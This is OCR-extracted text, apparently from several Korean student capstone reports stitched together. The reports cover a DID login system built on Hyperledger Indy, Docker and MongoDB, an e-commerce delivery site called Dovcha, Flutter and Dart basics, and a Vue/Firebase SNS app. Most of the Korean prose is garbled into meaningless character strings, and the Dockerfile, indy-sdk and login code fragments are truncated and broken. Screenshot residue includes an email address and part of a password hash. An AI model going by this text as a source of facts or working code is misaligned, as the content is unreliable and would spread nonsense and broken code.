etSt= JSX(JaveScript XML)O|2t= ZHERoH 2R ap Eraber O|O[E HQl'E (One-way Data
Binding)= AP%OH'— UCE ESH 7He E(Virtual DOM)O|2tE 7HE S A0l & O
S22 0|de] HEHAS XXt 2t0|2 2 2|C}

2.3 JavaScript

AHIAIZEE M 7|dto] A3RE T2O24Y A0{0|Ct O] Qlojs
Lol M 2 AFBEH, CHE 38 Z2IUo| WE ANo: g = U= 7|
bR QAL HTMLE| &4 24(5)8 MESI0] CHYot oM EDMIRA 28, 7
g )0 mat o IS SI=E Jlse €2 = AW LUSt= O|HE et
HTML, CSSE =& & UL Nodejs@t Z=2 ZEIQY A 20| M Z=Z24d
= AMEEZ ATt

2.4 Block Chain

S22 B4 HEY 7% Jl5to] GOIE 9 - WX WX J|Z0ICh p2p HAIS 7
so2 ofof 2R3 HOIES0| Ae HEE 240 HZEO HHE ‘B20ts &
A HOIE AE BHO| 2| HOEHE NYFORM LTE Yoz £FY 4 ga b
TL Yol AE Y 4 AT V=L Jlwo|ct



2.5 DID

EtZ sl MRS H(decentralized Identifier, DID) L= 24 OI0|Cl= 7|& Alg=tol
gADE Sel Y AAH> ol SHMEIX A0 JHIHRI0l XpAle| FHEO 2tHTH
HNHe A=E St 7|=0|Ct SENQAUS 7|HI22 3t AMRYUSY, QAS0|H O|8At &
A2 Ao MRAFEE 2|5t MY = ULE St= CIXEahEl AAEE[ HA O

ISESS 28t 2ag I LE SYste AMH, AHEXH7L

Ju
2t
o L
=2

N Z2HMEOILt. 25X £ VIE
7| flgt =4, 2toj=Eg] H MALE 7tset +d R4F FMSeHht 5ho[m | K
oIE0 SateEl Z2HMEO|CE 2 Z2t0| 8lif 2¢h 4k OO[HIE[E|S IiF
flol YEfAE MSetet. eltl=

Hold S ME &= ==0| 7hs5tEt

to
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>
ro
i
=
Y
0z
njo
>
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E
]
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=
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2.7 Docker

== 252 FHO|HAMEtE HE AUHO|H 7|2 O0|85t0 ZHE ZH|O|
S ofLtth. 2MHME “Hd=t ol x| Ee HHOIH Z[&& AHEd 7hdm Ao
ZtECtE 30| b, vME =0t of the| MEO| o2 7ie| MHAE
L} £t Hoty, MEA7F 25 Hete J2fe] Mo S-S O/X|7|7t gX

R ELIRE

-

tedste] FHE 49 &2 288 & UL

G

1]

2.8 Mongo DB

= =
S 7DBE JSONI} 22 EX A7|0H CRHEES MBSt
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0| =REE of o2t
HESHOl HOIE 7|8 A HOIEHOlA 0| AHES HULE O|l2M E8ot &
of fEElAoldE O g O wW2A HoH S 7tsH St
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3. 22

3.1 MH[A 7Y
2 ofZ2[H0o|M HMEoE 2 AN AMHA ZT2IUO| AREEE HES FHSA

ct.

MHIA AILIEI2

ALEXt

v

1.82712 R 2 AR} XIZ A4
AR R YUY 4.DID 44 U VC 58

5.QREE &3
e S

A

v

AEXL

e
ol

7.VP &2l
#

v

6.QRZE HME(VPILS)

]
ik

t

ol

8.ZKPQ!

r

A

_ 9.30]8 HQI0IE gtz

[38 1. MH[A AHE]

32 T2 1M

3.2.1 =582 HESA
SIS, Indy-cliZ HUAlA ot

Hyperledger Indy 7|EIC2 =SEH|Ql HEKIE FH5A
HEs fle dote 2o ¢ DID 49 TASHRACE



jong2wallet:indy> did new seed= netadata=bae
Did "935epAESJ]jSFz7eovkSTZo" has been created with "~2hUhAknNx4woRJgCwQnsbi™
key

Metadata has been saved for DID "9J)5epAE9])jSFz7eovkSTZo"

jong2wallet:indy> did list

~YN6dNtkCIASG7RveFKFQRX

[AE 2. EEXQ HERI =7| DID Y]

e 4dst7| flsiM= XYel Ol keyatOl ER3HH, DIDE d-d5H7| fIBiM=
i X ZolM 4 Sfof ottt Of U DIDO| seedtO] ERoID, F71M oz HEHOHE 2

[13 3. = Q MUAlA Db

i MH|A0A Hots 2o DID= Ml 7HA] O|E2=(StLtEE ROsi= EICh)Ml 7ie
didg 43}, s didof| HES roledts FOBIRACL Of7|A X1 ots 7HE role2 0
O[tt. 0|F EfZ =M HMUAlL Ots 4g5tA2n, 0| EMZ pool EMMME MAS o

gotALY.

EAMM DT &0 HUAA TIYS S E=HIAL
EH0 YEYAS PHeCh 2EHQ HEYIA AFBE LSO His 4
-7 -



W= R|E3HRALY.

>> /etc/supervisord.conf

indy

| awk if ex($1, ETWORK_NAME® ) t("NETWORK_NAME sandt S rint($0 /etc/indy/indy config.py>
N mv /tmp/indy_config.py /etc/indy/indy_ (onflg py

G pool_ip=
generate_indy_pool_transactions --nodes 4 --clients 5 --nodeNum 1 2 3 4 --ips="$pool_ip,$pool_ip,$pool_ip,$pool_ip"
E 9701 9702 9703 9704 9705 9786 9707 9708

--chown=indy:indy pool_transactions_genesis /var/1lib/indy/sandbox/
--chown=indy:indy domain_transactions_genesis /var/lib/indy/sandbox/

[ 5. Dockerfile]

o
o
A

Y =AHLYES ECMHZ indy_pools HHStL, SEMQ HERYIE FHSHRACE of)
O|oX[ofA =HZ dd FQ indy pools =Y 7t ALCE O|FAH =X HEHIE #5351
o =
= =

QL FIHEQI EHMME 2 indy-sdk 2t0[E2{2|E AHESL0], JavaScriptE ZIHSHRACE

— = "1 =

Step 26/27 : COPY --chown=indy:indy domain_transactions_gel /var/1ib/indy/sandbox/
--> Using cache
---> 822874 6
Step 27/27 : @D ["/usr/bin/supervisord”]
--> Using cache
-> 15114379a557
Su((es)full\ built 15114579325/

91‘baed7@4,af)ad(hd4 579ffd4esal

CONTAINER ID M COMMAND CREATED STATUS PORTS NAMES
bcbbb93d1e31 indy_pool "/usr/bin/supervisord” 7 seconds ago Up 5 seconds 0.0.0.0:9701-9708->9701-9788/tcp  indy_pool
root@ubuntu:~/indy-test# [|

[22 6. indy_pool 23 docker ps]

3.2.2 @ o{Z2|AHOoIM

BIF, SIU7HY WY Al ALBAE 970 HESS YD, BUYS Nt
Lf22 DBOI MIEI EICh HYBBof 2XH| U BE OFHSIA KESOF SO SHAI3
Rgoto], MIYSIYLL BATY DI SAO] AHBAE SEHQI0| AR KZS A

OtA =1, MFSHA et

0x M o



SONTIONS -

c
ok
Oh

rowe: v
secondpassword: "$
v: @

aaa@naver.com

_id: 0Ob

name: "0|HE

email:

password: "$2b$10$bX8FiaUNESUNLactEBWES
role: 0

secondpassword: "$ SZWFIMThX XmwIR P ffx FAGMdr Yt
=
..... token:

_id: '634af

email: "ttt

rts.newRegister = f , walletName, walletKey) {
wait sdk.createWallet
id: walletName },
key: walletKey

[22 7. 3|27+
E0921 Al AFEXH= AFEXIS| O|H YLl AMEAL HIEHZE ¢ 2
2™ Al sfAlztsta, DBO| XN ZO U= it H WS SHHE HZHS QIX| =QIsHA =ICt 0]

M =IaQleh AL EES ZEFH, ALEAS] 2210 FX|

[l
4>
30
H1
g
_(')_I-
30
_lTl_



post: (req, res
er.findOne({ email: req.body.email }, (
luser

res.json({

i N Welcome

message: =&

b

user.comparePassword(req.body.password, , isMatch
f (lisMatch)
res.json(
loginSuccess:

message: "H HED 8%
);

aaa@naver.com
user.generateToken((err, user

err et res.status(400).send(err);

res.cookie th"”, user.token).status(200).json (: """ ‘ :)
loginSuccess: -

userId: user._id,

userToken: user.token,

Login

[22 8. 219l]
ALE XLl IEEE Al QP AMEXIO TIE ID &g SELO|X[O|Ct [O79] AFEAtE
SE5tA EICh O] I Xt O|0]X]= AWS S3E &3l X

K| 212| CredentialDefinition ™@AI0| A SESiFALCE

-10 -
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ntati
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ol

getCurrentTimeInSeconds

pofDelta

, proofReque:

ifierWallet,
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et.get(process
DidFromWallet (ve
to.authDecrypt (v

ON.parse(dec ge

ata);

rData[@];
t indy.did.getDidFromWallet(proverWallet);

t indy.cr getMasterSecretId(prov 1llet);
vCredDefs, provRevocStates] = t indy.ledger.proverGetEntitiesFromLedger(proveriallet, proverDid, userData[4], userData[1], userData[2

erData[3], userData[5], rsecretId
verifierGetEntitiesFromLedg

, schemas, credDefs, revRegDefs

sdk.closeWallet
Wallet(v

20k Al AAEAtS] EgE EZ0| 8 ez HF0| =0, AFEAe| F7| 20| DBO
Mgl ez XFO| A ECh g AFEAts 2aQl ®X[7F SfX|7F &0, AHEAHE MH|AS
AtEeforgt Al Z{Z Q1S SHOFSHLY.

req, res
console.log(req.user._id);
findOneAndUpdate({ _id: req.user._id }, { token: "" }, (err,
err) return res.json({ success: > err });

res.status(200).send

success: 3

>

[2Z] 12. 210}

o
HS XD YUk golsts

QUCH= s
o 45 QUOIN HOU™E LE0| S LT Mo oHHs

-14 -



4.2 2= ItA

27b5Ql 7]550] MOj2 FHE0f UK YCh MY HEe MHAs BHY ofZ2|A0|Mo]
MY MBSO, FHANE UM W ofZ2lAo| MR MRS FIHel BHIY o2 oM
Hge BChR, O MHS| ROl Jhsoith d2m USHOME AMERT A5S B T AR
o 7|22 42 4 UES 2AE B0 HO|HE HW W2 KNTUCIH, ALGAY] S AT}

x| 0| Fh50tct
FIZO MEIZ0A MOl 915 AH[20| OJAR SUCH, T AT JHael Yot Jtaol o
SHE THCHAD, A BENQ YEYIAS THGYCL B WICOIA MBS DID BF0| %
0l  EYSIN SI 2L Crys SBAE 9

F =7t ettt EEH HESIA eSS M
H=
o=

52 o 4 Aon, Y NHAR XY 5

o
ofo
o
4> Ol
20
n

o ZHOM F=oh HOo| UCH MH|A HEHO| HESHA F7t EotHol He
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5. &OXE

B OAPIFE AYSY BE EMAN -

X B!

Ho

B W3CDID & - https://www.w3.0org/TR/did-core/

B Hyperledger Indy indy-sdk Github

® https://github.com/hyperledger/indy-sdk

B XIEW AY MEAE Qs Mg 4

ol 2! s dE

- O

rir

2 - A,

—1
[

)%
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https://www.w3.org/TR/did-core/
https://www.w3.org/TR/did-core/
https://www.w3.org/TR/did-core/

6.1 A5 E T2 - https://github.com/ehdclr/capstonefinal.git

6.2 FAMH|A FA - https://www.jpass-app.com
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CH.3
N
A
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EEH

7|E YN 2H

SUTHRT
(merRel)
8d3 ‘ ‘
123456-7891012
NESYAI00F 008 ‘.‘
e T T B

& sussze el RS IS LS00 el 21 we
HY QBTG G, BB HTH BYIS 51 9 WAS 5101 018 LAISHI Of

HOURIN 018 ERI5h 25 2SS LT MAZH (Decentralized

Identity, DID) gt QoI MEEE LG DAL

112 84 S

1,397t 23 2.3NYE &

& ID.PW,0|E S HiE " NAVER
USER

71E2| 3|7t WA2 SUH0] | WAOR HAO|E X0 ZHAHES
2125109, 3|7 SIUC

A2XH= 2t @ALO|EOtCH XpAIL| ZHOIHE S 12 50} Shs HAZRES 7ANU
Ct. 0|2 3=517| Yol 71&E 71U E EH0|X|Z S5l CI2 HALO|E0]| ZHH 3
H710| 7Hs5HA| BH= SSO(Single Sign On, S8 2101)444(0] A47]7|=
SI%Ct. (2, NAVER 5)

0|25t WAI2 FY H2|X7L JHAIHEE SE6HH 2 0| AUCL

(MHZ Ho|ASD 222 SUOHHO| JHOIHEE QESH A7} ULCt)

=00
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EEXQIS 7|uICoZ §t EtFZUSI MYUSH
(Decentralized Identifier, DID)2 g22#|012] Ext
S 8510 Y AIAHO 2la SHI=[E 7|= MHE
QI HrAl} S| JH7H210] XpAlof HEof Cist

TS ENHS A= 5= 7|120|Ct.
SSI(Self-Sovereign Identity, X713 AKZSH)0j|
AHEEIC

SSI A18RA

DID, DID Document, Verifiable Credential(VC),
Verifiable Presentation(VP)
VC: (22 ID), VP : (HIE8 ID)
ZKP(Zero-Knowledge Proof)2 A25IH £A42 UFX| ¥ AS ks

» R Pud vy g
. VCHE
A
Mﬂ ﬂ MylA 43
(User)

M&ll
DID §Q

HRAQ 71Y DD FRE
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_J docker
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AMEXt XH 2| OFF & OO|HIEIE|S HA/HIAH/AK| 8 4 QICh X17| FHO| 7ks
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DIDE A317| 20j DIDE= T AFBXI7L RaHH 2R311 U7| W20] ID =8 2X| 12
RBFT £t2] 2&12|58 Ar8310] 282! g

ZKP(SXIAS )2 AL510| CHE FEE 3MHX| 1 WRst YRt 37

S

==

THERE = Validation

(CHCHCNONC)

Access

Public Bitcoin,
Ethereum

Private Hollochain, Hyperledger Fabric,
LTO Network
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1. ME

1.1 g5 HiE
Java Spring22 @7|8t SNSE TS0 0|7 Eed| AT 8
=]

gsts Aol ot A= Z[Ee

o
=
=0 27] g=5 &dot= L o|X|

—_

rot ml—'

u  HU
>
A
o
o
I
inl
rn
>
o
Ral
mn
o

1.2 g+ 2ed

SNSO| &tMo 2 CrY¥st g Zgjoja U QXS0 387
=0 XIS Y| LOfLYX o Q
OlE{Lliof 2

= = = j
AXE 2 &= U=F dixz= & 718 SNSS WHSHRALE.

2.1 JAVA
AtHt(Java)= 1995E M OHO|RAZA|AE=O|A REoh K X[gf Z2
daid A YLLE AtH= 7tstt M2 FHds 45 2AEHNeH

"Programmers wirte once, run anywhere(WORA)" 2} Z0| ot %
L

det ZEE ZE SUFUAM s AMZ = A= 88X A0

H MASl B2 Back end ZHEALZ} MEHSE Q10{0|H T MANL=Z

BIE JiLXtE 9uMOE HRILICH £ Android ¥ JHES st S
A

>4 A LT},
XtHt= Amazon, Twitter, Netflix & H2 MH|AO0A ARSI RS



2.2 Spring

JAVAS| 3 Zy I = JAVA QOE 7|Ete 2 ALEDICH JAVAER
CtASE ol F2|A oS THE7| ¢t Z20eid S0zt & = QUCH
U0 HWSHH X|Z2 JAVAL QFREH 0t/ et Z2ME ¢
e AHRCH JAVA% o|2%t 7|&=2 JSP, MyBatis, JPA S O 7}X|7t
Aqedl &, o] 7|==0| EE&'EOH WO meolctn 2 %= UL} Spring

A=
2 0| 7|=&2 o HotA ArESt7| {8 2HE0{Z AOo|C.

Z2HMEE TSI EH OfF 2] 2€2 e 28 S5&= ZEI U
7| OFHO|C} Spring2 0| FEICO AMEES E0F1, HELA
EXNZ O 7HESHA siE = UL

AEX2 = Spring0|2 JAVA 7|&&8 O €4 A8 = A diFe=
QEAA =Y ¢ 30|C},

2.3 Gradle

GradleE :L—?—HIE olgst YE X533t A|AHIO|CEH GroovySEf %Af

Atep HA|AEA APl EEE= XtHE X|Zd API(Java Persistence API,
JPA)= AtHt E3HE SEQ} AtHt E3E EEE AM8&dte SE8ZE1T0|M
HAY Go|EH|o|AQ| 22 % H?A5H= AtHE APIO|LCE,
7|Z&0| EJBOAM HSEH E| gl(Entity Bean)2 CiA|St= 7|=0|LCt.
XHHF HA|AEA AP[E= JSR 22001|A1 HO|=l EJB 3.0 AHOo| YHEE H
o7} E|O0 UX|TH EJB ZAHO[LHO| 2o|ESHX| %ol EB, #® ZE
Java SE SEI0[HEON Z5F ALEO| 7hSSICE EDH AFEXZL RS
HA|AHA ZZHOIE TN E MEHSHA AFEE 5= QULCH



2.5 JavaScript
KHHIAF B E(YO]: JavaScript)= A 7|89 A3 TE ZZajd

o

AO{O|Ct. O] Q10j= & HeteXN WoM F= AN, CHE 88 =
EO™Ol LYY ANz FIE = U= Zle= ZHA QUCH EDH
Node.js?t &2 HEIY 2Hd1t 20| MY Z2IfUoe AFEEZD
Ct AHIATEEE 22 WAAO|Z HRLAOM= Ame| oM
g
H O}O0|3(Brendan Eich)7l M20|= Z7HMocha)2l= O|ELZE, LIE
Ol= 2to|EA3ZE(LiveScript)2le O|ECZ JjHsIon, %ZXO
2 KHAIZEETE E|RUCEH XHHIAIEEYE M OO| A2 A AR =Q|
NG,
o 20| FARRE M UX|TH Ol AMY & 910 & C Q109 7|&
T=0 HEE F7] 0|1, XtHie} AHIAIZEHE= AFHQl ALY
2 of5tCt O|E1t 72 2|0|= XiHtECH AL AZ D FARSO[ BECE
AtHIAS ZE= ECMAAIE E(ECMAScript)e] EE AIYS 715 & 3
545k O10|2 Q1™EtT Qo ECMAScript 5(ES5>77MIE 222 Bt
MM 7|EXMoZ XL UOLE ECMAScript 6 O|ZHE= EZI2 A

PR AT S UL B,

Thymeleaf= & % #0| otH 2Hd ZEFOM XS = A& Java

A
XML/XHTML/HTML5 ®EZ& AZTALICE MVC Z|gt & O Z2|#H 0|M
o B P Oo|o{0fA XHTML/HTMLGE H3B3dt= O O HMSHX|EE @@
2ol SHAME B E XML Tt2S M2lg 5= USLICEH

2.7 AWS S3
OtOrE S3= ororE & MB|AO0AM HSst=

=2l 22X # A
HAO|Ct OfOtE S3= @ AH|[A °|E1ﬂ|0|i§ ol 2E2[X|E HM=s¢t
Ct. OtOREO| S35 Aot Xz=2 S/HHS=Z EAMHAS 08" +
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QIEZO|E, i0S, ’ER=E, 252 A & OfEZ|AH 0N 32 FAOFE Wo|l FE
AATEZ AIEEICH

SoHO X= KT ZEFY2 "Sky"(27H0)0|H AEZOIE 2F MO 2 ZACL.
2015 & CtE JHUXt MOIOIM S7HEReD 120 =3 d/X22 RES| WEHE0| 7tsst s
O|=E| ATt AGE|RACE[5] &ot0le] = 7H%W9l 2 7|LE 0| =22 S2H 10 T

OrX|9f CH 22|20 E8H E2lAa Z2|7 2 E LESIQUCH 2018 H 12 € 4 &, EE 1.00|
E2{E 2t0|2 O[HIEQM SHEYOH = QJYIF ol X|ZEo| oI o 2 AFE|RULE,

ZH A o7 A
SoHS F2 #9 24= CHE1F 2L,

H

=]
A

il
[m

Z gL
= AT
x

2 Ef A Zl(Flutter engine)

mltl
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| m2Ho]M 2t0| 2 2{2|(Foundation library)
| CIXQ! E3} 2| A (Design-specific widgets)

Hello World O|A] (==

1 import 'package:flutter/material.dart’;
2
3 wvoid main() => runApp(Hel loWorldApp()):
4
5 class HelloWorldApp extends StatelessWidget {
6 @override
7 Widget build(BuildContext context) {
8
9 J/MaterialApp acts as a wrapper to the app and
10 //provides many features like title, home, theme etc
11 return MaterialApp(
12 title: 'Hello World App’,
13
14 //Scaffold acts as a binder that binds the appBar,
15 //bottom nav bar and other Ul components at their places
16 home: Scaffold(
17
18 //AppBar () widget automatically creates a material app bar
19 appBar: AppBar (
20 title: Text('Hello World App'),
21 ).
22
23 //Center widget aligns the child in center
24 body: Center(
25 child: Text('Hello World'),
26 )
21 )
28 )
29 }
30 }
2.6.2 DART

Dart = BE SUEO|A B2 U2 jot7| o) 22t0| A0 XM SE lojLch 1 S EE
eI 2 Z it QI3 7Hy Aol
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& < e T O oI T o U TSI >
o N B T KR o o____._x.uum_mm muwﬂx_“_ [+
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Javascript = 1995 H O|=2| WA O] HFL|H O F=0M MZ WL =A2H, B 1 O|X|0f A
MEXNZREH SFOMEL Y 4= ot SHA NS FH2 =2 NotE AN 7|He| AT -E
T2 lojoltt. =2 F E2teM LM AFEE= AR, RHIAIHE 7[H9)
SELRY ZHE (Nodejs 5..) SOl WL EHM MHZ Z2 I3 7 U0 = AMEO| A7 =HCHE| QUL

3. 28

3.1 A|AE 1M

@ -~ 7HA ¢l
Of L] &
2|

2

e

u
2 Hu
Ho i

o151,
HE || ME XHFRL
| X7 \ X7 =

Yes T T T

(12 1. T2 PHE]
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3.1.1 Server

22| server O| & Host = hostinger.com 0| Aq] £|0{ QULC},

make an impact, please consider donating.

=} HOSTINGER [ES English josting A VPS v  Email v  Domain v | Login

Web Hosting
For small to medium websites

Cloud Hosting
For large scale projects.

& WordPress Hosting

E ve ryt h i n g YO u N ece d to Optimized solutions for WordPress hosting
Create a website Hosting for Agency

Made with developer business in min

Join 1,278,620 website owners who are building their

businesses online.

Get Started

30-Day Money-Back Guarantee

[18 3. AH]

3.1.2 Hosting

S A (YO: Hostinger)= AtEFF & A8 XMSAO|XF QEU =0l S5 7|2t0|Ct.
2004 ' A E =AY0ls A 178 7= X|AF B 29,000,000 F 0|2 ALEXLZE QUCE. O]
g2 2ERE B 228 7S ALESHH MysQL, FTR PHP 2t =20 = A8 S HNSTHCt
D AE 0= 000Webhost, Niagahoster, Weblink 2| 22| AFO|CE. 000webhost &= hostinger 7}

2ot ALY,

® < see m s+ DmOO
m My files #
Name
B3 New folder
New file BB oubic him

@ Trashbin

Space
3.29GB/200GB

Inodes
131871 / 600000

3 Settings

3] Logout
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3.1.3 Domain

Eho 4 A|AE (Domain Name System, DNS)2 SAEQ| 9l 0|22 SAEQ| HEQA

FAE HHRZALE O gtojol Hets salidt = UL E 517| s /L= RACH EF AFRH(EE
HESIAZ HAE Yo[o| TX|)o| F=AE &7| I8, AtEH0| 0|85t | #|2 =0 ¢l 0| § 2 <AtE
EAE D (p FA)E HESH F0E 20 QN 4| Y A|AHEZ2 S5 "Moo 20f| H| FE CF QIR Ul
SRl = HMAZM Tep/iP 2f SE0AM, www.example.com 1t 22 F HFHO| =0l O|§S
192.168.1.0 It Z 2 Ip A2 WS 1 2t 8 FYE E M| St 24 O|O|HH| O] & A|AEIO| T

CIHU2 2742 F8 0|§37tE #alst=|, stite =0 el WY AlE), CHE Stte 2IH Y
T2EZ(IP) T2 SOICH2] =O0Q HY A|ARE =0Ql 4 Y ﬁl%% 22| st s |
AZIF=L FZHZEo| HE MH|AS HSSCh QIE U H Y MHet S Z2EZ22 2ol 4 ¢
AAES LHBHCE 3] DNS W ) ME & =0 Q12 2|5t DNs 2| 2 E & K& 5t= AMH O[T} DNs H|
M= HIO|E{H| 0| A0 ChEH # 2|0 & Lt & SETHCL

0| o1 =00 212 povcHA.coM 0|1 Q, M = 0421 0| go.dovcha.com(&2| A+ I 2 0| 2+ & H|O| X| &
|5 A)0] Ct.

3.1.4 SSL
SSL = Secure Sockets Layer 2| 2F X} QI L|C B AFO| EQF |l HER X ZtH0)| Y= 3tEl 412 5 8SH=

CIX 2 2ot R YLICE O] 7|22 M O Ol AFE X 2D Tis 2 24 35| T & QU5 LITH.

TLS = Transport Layer Security 2| 2A}0| 0 ssL 1f S Aot HAIO 2 O|O|E{ 7§ QI HE E H S 3L L},
ssL = &AM E O O & AFE E|X| 47| -2 0f| ARHS 0] AR SH7| A| 23| OF 5= 2HIE 80 I L L.

HTTPS = HTTP °| Hob =h Al L|Ct SSL/TLS ISME HX| & Fd5t= & AO|E= HTTPS

ssi/Tis o &= )2 CIO|E, 2K == 200 §E & Zetor QA Y E QHHSHA HEst=
QYL o= MO Ciet HZO| F=ote|X| 2 A HAE HOE HE| Ofjero|H
APZ|EaE s dES 25850 HOIHE Xl AE O OfEA THELUCH HEZ2
MES2 AOAE7 HAOIEE 235t AFRS0| HHE AT & As AT L¥S
HEot7| ?lof AtEots ssi/Tis ASAMO| A=LICE T4 HEAIE2| URL FOi| 2 At=2
OtO| 20| HA|Z[7]| WZ0f EAO[EOM A SRAKX| & =~ AUAS LI
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3.2 Z2 1 1M (Front-End)

Dovcha

Dovcha Admin Dovcha Mart Dovcha Manager Dovcha Delivery
ZbAIIA S Z=01H 7| At A

\ V4 -

..../admin

3.2.1 Dovcha &2| X}

22| X Zf o Ct =0 7t= & 3: go.dovcha.com/admin

|
e Signin
T ~ Store login

( Admin Or Employee Sign In )

5 Dévcha
Your
All Service —

In one field....

13|Page



ofo| |3t
Ddvcha K

Welcome, DAVUROV.

Hello, here you car

+h Dashboard order statistics :

G

5
Zone Setup
Unassigned orders
System Module Setup
x Delivered 18

€ Campaigns

4a Banners

Coupons

Push Notification

Orders

Dispatch

wi(Currency)

Parcel

Categories

Attributes

3.2.2 ¥l 4 & DOVCHA

Ddvcha

Dovcha

More than just a reliable e-commerce platform

&,

Choose your location to start shopping

wioexH

Online market

We make your regular shopping more interesting

Find the greatest deals from the items & stores near you

Home About Us

manage your orders by zone

Ongoing orders

E Canceled 8

@ Total Sell : W 593,360

DOVCHA.COM

Privacy Policy

EtE| Ao 2o et S 012 & QUE

3

Preparing in stores

29 Payment Failed

Admin commission : W 21,710

a ® ¥ BDgenglish

t

6“.

‘E). ¥ DAVUROV SOKHIBJON
o xib.davurov@gmail.c o

All Zones

Overall Statistics

&
0
Picked up
.:9 Refunded 0

@ Signin

34 Hwasin-ro 272beon-gil, Hwajeong 2(i)-dc ®

Your e-commerce venture starts here !

.5 B ]
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20| Zg C} 5 7]C}: H20f, Hof, L XHI(2}El), L=l (7| ), 2{A|0}0f

Dovcha

Select Language
9
s20f English 0'zbekcha

SIGN UP

Ddvcha
SIGN IN

[J Remember me Forgot Password?

| agree with Terms & Conditions

o “ e
- “

Guest
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Lt 2E S 4 2= Tl 7HAIES 7] /IsiM 21X 38 27|

Set Location

FIND STORES AND ITEMS NEAR YOU

@ Use Current Location

[J Set From Map

7he| 2| A& o] x|

Fast food & Cuisines

A

Online market

ggi-do, South Korea v

Grocery & vegetables and fruits

Pharmacy & herbals

Masjids

16 |Page



Q

View All

Categories

View All

View All

Bifshteks Chehambell Chuchvara Dulma Honim Jarennly lagman
W 10,000 W 10,000 W 8,000 W 10,000 W 10,000 W 10,000
[+ o &> (+] (+] (+]
f L 4 & =
Z4 M
[= N |
Bifshteks T Cancel
! =
item
+
- Bifshteks

Oj20f £ AZ0|LE 2AIS FHEO| 2781 AL BHEO] 7] FHSBICH
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ofo] 7+E | o] X|
00| 7HE T O| K| Of A 42 M FHSBIC ME BLt 3 T0I517| S 5T Z20| Fa MY H2

My Cart

l Assarti
ko

£ W 12,000

| Bifshteks

ok

W 10,000

Item Price
Addons

Subtotal

20

W 32,000
(+)wo

W 32,000

Proceed to Checkout
1
fr ® : -

O]7|M T2 dEf ™o CHE 0| Z2X Yo

<

@ Home Delivery (W 118)

O Take Away (Free)

Deliver To

9 Others

Choose Payment Method

®€™  Ccash on Delivery

-

U= HO|X]|

+ Add

Confirm Order

18| Page



COD(HIE 2t= CiS0f = &7[) d&st B0 TASH7| =2[H F20| HZ A= EICH
DovchaWallet 22 ZH|5t= 20| HAY Z2XN7t 2=EH FE& 2A=2ECHL 2212 Z2HE

HEist= 420 24 Ho|X|= o] s &/t

£ Checkout

Choose Payment Method

&' Cash on Delivery
"2 9

=

Digital Payment

Wallet Payment

Subtotal W 32,000
Discount (-)wo
Vat/Tax (+) w320
Delivery Fee (+)w118
Total Amount W 32,438

3.2.3 DOVCHA manager
Dovcha manager 2 7t# F2I0]
2|3 ZEALE A Eo| M2 S0

RE NS FW/FE/AME =

s —
® ° [ ) i
s Dovcha banager X

Restaurart Temporartly Closed

Order 1D: 2100041

Order 1D #100037
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3.2.4 DOVCHA delivery
Dovcha delivery & Hi

‘AR EENAEAE AR R 3
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W<k oo gy ;
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£ S8 AMESO0| 72 X0| U= BA3 S 2k
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Any questions?

You can find me at:
» DOVCHAwWe:-b

» admin@dovcha:coom

U Uny
e"> ’Vl<<~

rJBUf]

Fpga®
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1. M &
1.1 97 HiE X =R MY
ZSYUXMFO|ILE SEH 52 THISI= AFRS0| Ao Z2ME AN=2 7|E2| 7t =M= 0|22 M| 3Kt
Ol A| 7} U2 7|3|7} QoA ZItE AS 0|0 WA JHsAO| SHA7F AT Q10| M| 3RS H oA
2 [3l= 740 OfQ O{FCtT THEH WALICH 20| 12 2RSS s1Z2s T 4 A= 20| 0] Z3HZ0|
g HL|Ct
1.2 =28
SHE(MO|E) AHEA= AHLI0| B ZE=NME AN=2 EIQIS1 ot HI/IE &2 = ol 1 "ot
= 08 XL} =22 = oldZ &2 = US AYLICH ESF BI HIOIHE2 AIZZE|0M HSE AL
Ct.
_
2. A 4

2.1 JavaScript
AHHIASEHE = “HHO[X|0f dasds 20 E7] o S0 =024y AN YL|C AHHIAIAZHEZ %
ot Z2 M3 AJZE (script) 2t FELCHL 238 E= 2HO[X|2] HTML 2t &de = =0, &
HO[X| & 222 M| A3 HEY} A5z HAELCH A3F 5 of Z=H|Lt Ao gi0| E&8o| ZAtY
O Ade = U0 HAE ot = USLICE Ol ZHEOAM KHHIAIZE = XtHb(Java)2t= O Ct
S

= 202t g & ASLICH

Im
HI r|r

2.2 Vue.js

Vue.js(ZFEHS| Vue, /viu/, F/view)= HOIE2|HO|M AHEXL QAHIO|AS THS7| sl AHESH= 2
EaA ZZ2TYA|E XHIATEE ZYLIF0|C} CHE XHHIATZE 2l0|E2[E AHESh= ¥ ofE2|A|
Ol ZZMEQ Vue.js & =YUSH| &A EALZI J}=Ol, Ol= Vuejs?t MEIXOZ K{EHS o= A A
A0 7| fEO|CE BHH VuejsE D'ds52| M=HO|X| OfZ2|H 0| M (SPA)S F=oH=C| 0|&7+sSILCt.

.|

2.3 FireBase

Firebase= &2 HIO|E{H|O|ARLCE SHX|TE F+=0| =& St A|ZHO] X|Lt, X|F2| Firebase= | O|E
H|O|A #TF OfL|2} CHYot HHAE 7|52 MSdHT= EHE2E HHYRULE FirebaseE O|E3IH ALEX}
QIE, HIO|EH|O|A, AEE|X| S Z2 —'1?1'— M ERot 7|52 #+55h= O M0|= A|ZtE OFZ =+
A QX ZEEAMEOMLl HIX|LA 2ATHE st BFE =

2.4 TailWindCss

W AEIUE TYAAEIY FETFHTML RE 90 47| 20 HTMLY CSS THg HE2 B2jg 2R
7 GICk SEet WY EjO0l FALVE LUK YOIT ST YE XD RE RO S M|
LEAfOI=, 247 50| SYRIE| 2245 ALBSIEE UBE ARtz THY 4 QU H1 AR HAH
i ARt G CIEIE REIHR 220 HAHO| HSsick I ASY 1 RSt A0 2 Cixje

H. = [m=]
gz XX @=Lk J2iA CIXt AIAZO|L CHIARE Foie ZHHSICH



3. 2 =

—_ -

3.1 AAE” Y

Firebase
Auth Firestore

5 =AM DB

il%;t%; A AIE dlolg AAIE HolE M
v T rwl
2\/%m[1|0|a b3S, |

AEDI(Web) Storage
= e :
Hosting J—
I cojolH 3 HenYHE [N

# Holx| =28

L
Functions
O|O| x| %| =3t =
z2HE SE
[ 38 3-1. 8818 78k ]

FM= @ HO|X|E SO 2H7IY/2OQ 52 HMHZS Fe = JUSLICL O|F Firebasel| A 22| A
= 9N U MHEFPEE AFEX} Cto 2 METLICH £t 4= HS S Z2HME 55 242 AMZ
= QUELICE O] I mO|o{H|O|AO= FX7F Metet Hot2 7HRl= K| HEHstn =olZ gL CH O|lF =2
E ™ HEE Firestore DBO|| X{&0| & L|Ct EESH 0|0 X|Q] AL AWSO| lamdaZt2 AMHE|A Function 7|
